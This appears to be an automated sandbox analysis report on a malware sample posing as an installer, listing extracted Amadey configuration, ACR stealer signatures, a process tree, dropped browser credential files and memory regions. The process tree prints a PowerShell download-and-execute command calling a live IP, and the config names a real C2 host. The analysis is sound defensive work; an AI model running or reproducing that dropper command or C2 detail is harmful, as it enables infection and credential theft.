Analysis

  • max time kernel
    302s
  • max time network
    217s
  • platform
    windows11-21h2_x64
  • resource
    win11-20251015-en
  • resource tags

    arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    04/11/2025, 14:30

General

  • Target
    Installer.exe
  • Size 646.4MB
  • Sample251104-rvbghsb19d
  • SHA256 aa5168c20c885a7a7778246f9de51f279b04615b8feafba5bccc33cb9ffbf92f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://87.120.219.26/CCZT7wMNnD29ie

Extracted

Family
  • amadey

Version
  • 5.70

Botnet
  • 2265ca

C2
  • http://mi.huffproofs.com

Attributes
  • install_dir

    3be1510d5b

  • install_file

    Pwvoqdmgn.exe

  • strings_key

    13416e8592239dcfe754c2affc83cb4f

  • url_paths

    /kaWt2QXfpPueNM/index.php

rc4.plain

Signatures

  • ACR stealer,GrMsk

    ACR stealer (aka GrMsk stealer) is an infostealer written in C++.

  • Acrstealer family
  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • Detects Amadey x86-bit Payload 1 IoCs
  • Detects unpacked ACRstealer payload 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 10 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4672
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:952
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4556
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      2⤵
        PID:5372
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        2⤵
          PID:2832
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe"
          2⤵
            PID:5824
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
            2⤵
              PID:5228
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe"
              2⤵
                PID:5644
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                2⤵
                  PID:1640
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"
                  2⤵
                  • Badlisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5700
                • C:\Windows\SysWOW64\rundll32.exe
                  "C:\Windows\SysWOW64\rundll32.exe"
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:2312
                • C:\Windows\SysWOW64\rundll32.exe
                  "C:\Windows\SysWOW64\rundll32.exe"
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:1536
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 464
                    3⤵
                    • Program crash
                    PID:1876
              • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                1⤵
                  PID:464
                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                  1⤵
                    PID:3016
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1536 -ip 1536
                    1⤵
                      PID:2012

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          Cookies

                          • Path C:\Users\Admin\AppData\Local\Temp\Cookies
                          • Size 20KB
                          • SHA256 ad4637c1db7c0c812d75c732cc5370b1ca25ab0d7716760ecbc19f5e75a6352f
                          • MD5 SHA1 SHA512 SSDEEP

                          Cookies

                          • Path C:\Users\Admin\AppData\Local\Temp\Cookies
                          • Size 20KB
                          • SHA256 151f0e8de7836e7071f8e819a0826f9366ead9a2d00688471a2e6aaf8699ffc5
                          • MD5 SHA1 SHA512 SSDEEP

                          Login Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Login Data
                          • Size 40KB
                          • SHA256 c007da2e5fd780008f28336940b427c3bfd509c72a40bfb7759592149ff3606e
                          • MD5 SHA1 SHA512 SSDEEP

                          Login Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Login Data
                          • Size 56KB
                          • SHA256 ce41f2a3255df2099ae8eea9364bd28c6fd6a56c8ca3290bd274944d16d9e6bf
                          • MD5 SHA1 SHA512 SSDEEP

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Web Data
                          • Size 130KB
                          • SHA256 ce491c6a6d8e1fce500e65e299b55293aa2c3c1fd2aff9ca8d07ee72618facca
                          • MD5 SHA1 SHA512 SSDEEP

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Web Data
                          • Size 228KB
                          • SHA256 257947aba31142bab41ca56915c2ef843c2a156c527dee5d1a07e1224e380aed
                          • MD5 SHA1 SHA512 SSDEEP

                          __PSScriptPolicyTest_cmsy4s1w.pdh.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cmsy4s1w.pdh.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512

                          memory/952-1661-0x0000018278BA0000-0x0000018278BA2000-memory.dmp

                          memory/1536-1800-0x0000000003380000-0x0000000003990000-memory.dmp

                          memory/1536-1794-0x0000000000F60000-0x0000000000F63000-memory.dmp

                          memory/1536-1795-0x0000000003380000-0x0000000003990000-memory.dmp

                          memory/1536-1801-0x0000000003380000-0x0000000003990000-memory.dmp

                          memory/1536-1802-0x0000000003380000-0x0000000003990000-memory.dmp

                          memory/1536-1799-0x0000000003380000-0x0000000003990000-memory.dmp

                          memory/1640-1770-0x0000023FE5530000-0x0000023FE5532000-memory.dmp

                          memory/2312-1778-0x0000000000E40000-0x0000000000E43000-memory.dmp

                          memory/2312-1780-0x0000000001140000-0x0000000001192000-memory.dmp

                          memory/2312-2067-0x0000000000400000-0x000000000046F000-memory.dmp

                          memory/2832-1735-0x0000023A584A0000-0x0000023A584A2000-memory.dmp

                          memory/4556-1731-0x0000024250CD0000-0x0000024250CD2000-memory.dmp

                          memory/4672-1045-0x000000007FB30000-0x000000007FB31000-memory.dmp

                          memory/4672-1277-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1224-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1217-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1210-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1195-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1174-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1173-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1166-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1159-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1151-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1136-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1137-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1129-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1119-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1114-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1100-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1093-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1086-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1079-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1072-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1181-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1058-0x000000007FB30000-0x000000007FB31000-memory.dmp

                          memory/4672-1056-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1050-0x000000007FB30000-0x000000007FB31000-memory.dmp

                          memory/4672-1047-0x000000007FB30000-0x000000007FB31000-memory.dmp

                          memory/4672-0-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1312-0x0000000000EC0000-0x0000000000EC3000-memory.dmp

                          memory/4672-1298-0x000000007FCB0000-0x000000007FCCC000-memory.dmp

                          memory/4672-1311-0x000000007FCE0000-0x000000007FCE1000-memory.dmp

                          memory/4672-1359-0x0000000002AA0000-0x0000000002ABA000-memory.dmp

                          memory/4672-1238-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1245-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1-0x000000007FB30000-0x000000007FB31000-memory.dmp

                          memory/4672-1252-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1263-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1270-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-11-0x000000007FB30000-0x000000007FB31000-memory.dmp

                          memory/4672-1231-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-9-0x000000007FB30000-0x000000007FB31000-memory.dmp

                          memory/4672-1285-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-7-0x000000007FB30000-0x000000007FB31000-memory.dmp

                          memory/4672-1203-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1188-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-1065-0x0000000000E30000-0x0000000000E72000-memory.dmp

                          memory/4672-6-0x000000007FB30000-0x000000007FB31000-memory.dmp

                          memory/4672-4-0x000000007FB30000-0x000000007FB31000-memory.dmp

                          memory/4672-15-0x000000007FB30000-0x000000007FB31000-memory.dmp

                          memory/4672-23-0x000000007FB30000-0x000000007FB31000-memory.dmp

                          memory/4672-1044-0x000000007FB30000-0x000000007FB31000-memory.dmp

                          memory/4672-1053-0x000000007FB30000-0x000000007FB31000-memory.dmp

                          memory/5228-1741-0x0000016044E70000-0x0000016044E72000-memory.dmp

                          memory/5372-1732-0x0000023DA0320000-0x0000023DA0322000-memory.dmp

                          memory/5644-1767-0x0000021ABE310000-0x0000021ABE312000-memory.dmp

                          memory/5700-1792-0x0000000006660000-0x000000000667E000-memory.dmp

                          memory/5700-2059-0x0000000074BD0000-0x0000000075381000-memory.dmp

                          memory/5700-1777-0x00000000057E0000-0x0000000005802000-memory.dmp

                          memory/5700-1793-0x00000000066B0000-0x00000000066FC000-memory.dmp

                          memory/5700-1775-0x0000000005340000-0x0000000005350000-memory.dmp

                          memory/5700-1774-0x00000000051D0000-0x0000000005206000-memory.dmp

                          memory/5700-1773-0x0000000005340000-0x0000000005350000-memory.dmp

                          memory/5700-1776-0x0000000005980000-0x0000000005FAA000-memory.dmp

                          memory/5700-1783-0x00000000060B0000-0x0000000006116000-memory.dmp

                          memory/5700-1784-0x0000000006120000-0x0000000006186000-memory.dmp

                          memory/5700-2057-0x0000000006B70000-0x0000000006B8A000-memory.dmp

                          memory/5700-2056-0x0000000007D00000-0x000000000837A000-memory.dmp

                          memory/5700-2058-0x0000000005340000-0x0000000005350000-memory.dmp

                          memory/5700-1791-0x0000000006190000-0x00000000064E7000-memory.dmp

                          memory/5700-2060-0x0000000005340000-0x0000000005350000-memory.dmp

                          memory/5700-2061-0x000000000D650000-0x000000000D6E6000-memory.dmp

                          memory/5700-2062-0x000000000C540000-0x000000000C562000-memory.dmp

                          memory/5700-2063-0x000000000DCA0000-0x000000000E246000-memory.dmp

                          memory/5824-1738-0x0000025387110000-0x0000025387112000-memory.dmp